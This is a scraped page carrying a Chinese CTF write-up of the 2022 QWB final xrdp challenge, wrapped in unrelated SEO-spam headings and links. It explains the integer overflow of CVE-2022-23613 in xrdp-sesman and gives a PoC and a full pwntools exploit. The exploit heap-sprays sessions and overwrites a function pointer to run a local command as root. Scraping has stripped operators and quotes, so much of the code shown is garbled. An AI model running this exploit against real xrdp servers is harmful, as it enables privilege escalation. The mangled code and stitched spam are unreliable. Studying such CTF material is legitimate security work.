当前位置: 首页 > news >正文

建设网站了还能消除吗国际旅游网站设计报告

建设网站了还能消除吗,国际旅游网站设计报告,网站策划书的要点,学校网站模板 中文版来复现一下2022QWB决赛的RDP题目 这两天腰疼去了趟医院 题目要求我们攻击XRDP程序#xff0c;从而达到本地提权的效果。 首先观察XRDP程序的版本信息 rootRDP:/home/rdp/Desktop# xrdp-sesman -version xrdp-sesman 0.9.18The xrdp session managerCopyright (C) 2004-2020…来复现一下2022QWB决赛的RDP题目 这两天腰疼去了趟医院 题目要求我们攻击XRDP程序从而达到本地提权的效果。 首先观察XRDP程序的版本信息 rootRDP:/home/rdp/Desktop# xrdp-sesman -version xrdp-sesman 0.9.18The xrdp session managerCopyright (C) 2004-2020 Jay Sorg, Neutrino Labs, and all contributors.See https://github.com/neutrinolabs/xrdp for more information.Configure options:然后在CVE里搜一下发现有个漏洞版本刚好合适并且满足题目的提权要求 从CVE介绍中获得漏洞补丁URL MISC:https://github.com/neutrinolabs/xrdp/commit/4def30ab8ea445cdc06832a44c3ec40a506a0ffa 可以看到修改的代码行数很少可以比较容易的分析出漏洞成因 根据patch信息以及漏洞描述可以判断出漏洞成因是size导致的整型溢出。这里的size会直接赋值给self-header_size。 进入题目虚拟机之后会在RW文件夹下找到一个diff文件 看上去应该是作者为了方便我们使用漏洞实现提权操作而进行的一个diff 查看一下服务开放的服务 经分析做题思路暂时可以确定为通过CVE-2022-23613漏洞配合题目所给出的diff攻击题目开放在3350的xrdp-sesman服务进行本地提权。 接下来在源码中对程序漏洞进行一下简单的分析在sesman.c中会有一个主循环sesman_main_loop主循环会创建一个g_list_trans 其接收连接的函数主要实现在sesman_listen_conn_in中 最后走到patch中的sesman_data_in 有一个宏in_uint32_be在parse.h中有具体展开就不放了其实就是从arg1中拿一个int出来给arg2并让arg1作为int指针加一这里可以理解成self-in_s指向了程序接收到的用户输入其中第一个dword作为版本信息给version变量第二个dword作为headersize给size变量。 在这里由于size是可以自己指定的所以相当于self-header_size变成了一个用户可控的int类型数据。 在函数trans_check_wait_objs中有此变量的后续应用 if (self-type1 TRANS_TYPE_LISTENER)/* listening */ { g_sck_can_recv g_sck_accept ... } else /* connected server or client (2 or 3) */ {if (self-si ! 0 self-si-source[self-my_source] MAX_SBYTES){}else if (self-trans_can_recv(self, self-sck, 0)){cur_source XRDP_SOURCE_NONE;if (self-si ! 0){cur_source self-si-cur_source;self-si-cur_source self-my_source;}read_so_far (int) (self-in_s-end - self-in_s-data);to_read self-header_size - read_so_far;if (to_read 0){read_bytes self-trans_recv(self, self-in_s-end, to_read);......}read_so_far (int) (self-in_s-end - self-in_s-data);if (read_so_far self-header_size){if (self-trans_data_in ! 0){rv self-trans_data_in(self);if (self-no_stream_init_on_data_in 0){init_stream(self-in_s, 0);}}} } 程序在此函数中进行了监听和接收数据的处理流程其中比较值得注意的就是这行代码 to_read self-header_size - read_so_far;这里的to_read也为int并且如果to_read大于零会执行self-trans_recv(self, self-in_s-end, to_read); 这个函数注册与create阶段 即实际执行的是trans_tcp_recv追溯到最后就是原生的recv函数而其缓冲区则是self-in_s通过init_stream函数分配空间 分配到的是堆上的空间而in_size则是在sesman.c中写死的8192 分析到这里整体漏洞成因已经彻底清楚了如果我们能控制一个不受任何限制的header_size将其控制为0x80000000即一个最小负数从而绕过header_size不能大于总的输入长度的限制然后read_so_far作为一个随意的小数相减以后发生负溢出header_size将变成一个非常巨大的远超8192的正数从而导致堆溢出发生。 漏洞分析就到这里接下来写一个poc调试一下看看是否会触发。 首先看一下xrdp-sesman的pid然后attach上去写出poc脚本进行测试attach的时候断点可以下在trans_check_wait_objs处 测试脚本非常简单 from pwn import * payloadbv*4 payloadp32(0x80000000) ioremote(127.0.0.1,3350) io.send(payload) io.send(a*0x1000)、 成功断在了函数处 但是随着调试发现事情不对劲 这里明明应该是0x80000000和0x9但是变成了0x80和0x9导致预期的整数负溢出没有发生 这也就导致到了调用tcp_recv的时候rdx并不是一个非常大的数 猜测由于网络传输是大端序所以不能直接p32于是修改脚本 这一次成功将rdx修改为一个超大正整数发生堆溢出 有了堆溢出以后可以试着寻找分配在堆上且有函数指针的结构体之前分析源码的时候有遇到过一个create函数 这里不仅输入输出缓冲区是用init_stream分配出来的堆空间其本身也是g_malloc分配出来的堆空间上面填充了recvsend等函数如果能够通过堆溢出将recv函数为程序本身就有的g_execlp3则相当于可以调用system函数那么能否控制rdi呢来看看recv函数具体调用的时候寄存器的状态 在调用的时候tcp_recv函数位置由rbx进行定位而rbx和rdi所指向的都当前trans结构体也就是说只要我们保证结构体中recv函数指针覆盖为exec的同时覆盖结构体的开头为我们想要执行的命令则可以在下一次使用此trans接收数据的时候执行任意命令。 还剩一个问题就是堆空间非常复杂我们能否精准的覆盖到指定的结构体上完成了漏洞利用这个问题一定程度上来说出题人已经帮我们解决了一大半了还记得当初的diff吗。将原本为16的MAX_SHORT_LIVED_CONNECTIONS改成了512这意味着我们可以通过不停创建trans进行堆喷。 通过堆溢出修改堆上的函数指针并且rdi指向的是结构体头部所以rdi也可以直接控下由于我们的任务只是提权所以可以提前在系统中写入要执行文件这样在进行漏洞利用的时候只需要执行一条命令即可。 在实际调试的过程中遇到好几处地方需要保证只是是一个可写地址具体有哪些地址需要额外关照有两种方式第一种是通过对程序进行逆向分析其机构体中有哪些字段需要为可写地址第二种方式是直接调试第一次覆盖的时候除了函数指针以外其余所有地方直接用0填充然后下断点进行调试就可以看到有些取值指令是执行失败的遇到取值指令失败的地方就填一个可写地址上去慢慢调就可以了。 from pwn import * elfELF(./xrdp-sesman) li lambda x : print(\x1b[01;38;5;214m str(x) \x1b[0m) ll lambda x : print(\x1b[01;38;5;1m str(x) \x1b[0m) lg lambda x : print(\033[32m str(x) \033[0m) with open(/tmp/do, w) as f:f.write(#!/bin/bash\necho \Ayaka\ /flag) os.system(chmod ax /tmp/do) conn_list[] def heap_spray():for i in range(100):ioremote(127.0.0.1,3350)conn_list.append(io) heap_spray() bss0x40a000 input() system_pltelf.plt[g_execlp3] payloadbv*4 payloadp32(0x80000000)[::-1] io1conn_list[97] io1.send(payload) payloadp64(bss)*(0x4160//8)p64(0x2b0)b/tmp/do\x00 payloadp32(1)*2p64(2)p64(0)*3p64(0x400318)p64(bss)*2p64(0)*71p64(0x0000000000403BF0)p64(0x0000000000403C40)*2 io1.send(payload)conn_list[98].send(a*8)
http://www.sczhlp.com/news/246288/

相关文章:

  • 旅游网站的首页怎么做网页特效 网页素材的网站
  • 锡林郭勒盟建设工程造价管理网站织梦 网站模板
  • 网站建设合同百度文库wordpress怎么导入sql
  • 榆次住房和城乡建设局网站如何做公司的网页
  • 理县网站建设做简单网站需要学什么
  • 一个thinkphp搭建的微网站wordpress 注册美化
  • 哪个网站专做民宿鹤壁市城乡一体化示范区官网入口
  • 餐饮店怎么做营销和推广seo排名查询工具
  • 八字算卦股市分析报告
  • 用什么软件制作网站深圳市房屋管理局官网
  • wordpress 整站如何注册小程序商家
  • 带视频的网站模板网站图片翻页怎么做
  • 网站开发教程 视频微信小程序二次开发
  • 用境外服务器做网站php网站框架
  • 哪里有制作网站网络营销推广案例有哪些
  • 淘宝二官方网站是做啥的中国网库企业黄页
  • 泗阳城乡建设局网站网店代运营有哪些
  • 小米手机做网站服务器吗WordPress会员密码查看
  • 做网站网站刷单违法吗有哪些可以做兼职的翻译网站吗
  • 南阳+网站建设WordPress右侧导航菜单主题
  • 做代理网站中文网站建设方案
  • 成都网站seo推广碑林微网站建设
  • 常州百度网站排名优化网站新闻前置审批
  • 沈阳网站优化排名wordpress主题Modown破解
  • 做网站的学什么代码wordpress去除google
  • 做家政公司网站自助建站系统代理
  • 康桥网站建设开发php网站开发
  • 服装网站栏目义乌网页设计公司
  • 百度网站提交了多久收录网站数据丢失了做数据恢复需多久
  • 陕西建设网网站集群什么网站做电器出租